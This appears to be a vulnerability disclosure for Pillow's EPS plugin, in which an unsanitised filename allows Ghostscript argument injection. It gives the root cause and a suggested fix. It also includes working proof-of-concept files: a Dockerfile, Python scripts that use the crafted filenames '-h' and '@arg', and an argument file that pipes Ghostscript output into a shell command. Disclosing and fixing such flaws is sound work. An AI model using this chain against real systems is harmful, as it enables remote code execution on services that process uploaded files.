Pillow: Argument Injection in Ghostscript call, potentially leading into RCE

Summary

PIL.EpsImagePlugin.Ghostscript() builds the Ghostscript command line using the input file path (fp.name) without sanitization, placing it at -f <infile>. A filename beginning with - is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with -dSAFER enabled).

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Type

CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)

Vulnerable Codes

infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
    infile = fp.name                      # user-controlled path used as-is, without validation
else:
    in_fd, infile_temp = tempfile.mkstemp()
    os.close(in_fd)
    infile = infile_temp
    # ... (copy fp into a temporary file)

# Build Ghostscript command
command = [
    gs_binary,
    "-q",
    f"-g{width:d}x{height:d}",
    f"-r{res_x:f}x{res_y:f}",
    "-dBATCH",
    "-dNOPAUSE",
    "-dSAFER",                            # default sandbox — does NOT stop this injection
    f"-sDEVICE={device}",
    f"-sOutputFile={outfile}",
    "-c",
    f"{-bbox[0]} {-bbox[1]} translate",
    "-f",
    infile,                               # injected here: inserted into argv with no check for
                                          # option prefixes (-, --) or Ghostscript's @-file token
                                          # => argument injection (CWE-88)
    "-c",
    "showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo)   # spawns Ghostscript

Root cause.

When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.

Affected

• Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).
• Component: src/PIL/EpsImagePlugin.py, Ghostscript() — infile = fp.name, and the command list entry "-f", infile.

Suggested fix

Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (-/--) or as an argument-file token (@):

    if hasattr(fp, "name") and os.path.exists(fp.name):
        infile = os.path.abspath(fp.name)   # was: infile = fp.name

os.path.abspath() guarantees the path starts with a path separator (or a drive letter on Windows), so a leading - or @ can no longer reach Ghostscript's argument parser. The else branch already builds a safe tempfile.mkstemp() path and needs no change.

PoC

dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.

FROM ubuntu:24.04

RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .

CMD ["python3", "poc.py"]

poc.py

import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

name = "-h"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
    im.load()
except Exception as e:
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't display `help`")

poc-rce.py

import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
    im.load()
except Exception as e:
    print(f"*********************************************")
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection  ; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't call `id`")

arg

-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice

Impact

Confirmed — Ghostscript argument injection. Because the filename is not validated, a leading -/-- is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to Image.open() can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.

Potential RCE (verified). The filename is also not validated against Ghostscript's @-file syntax: a filename of the form @<path> causes Ghostscript to read additional command-line arguments from <path>, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of id).

Applies under Pillow's default configuration (with -dSAFER enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)

Why this is a Pillow bug (not the documented "block untrusted EPS" risk)

This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover this. Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition — attacker influence over a filename that reaches Image.open() — is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.

Author

Chanu Kang (from CysecLab at KAIST) @HLe4s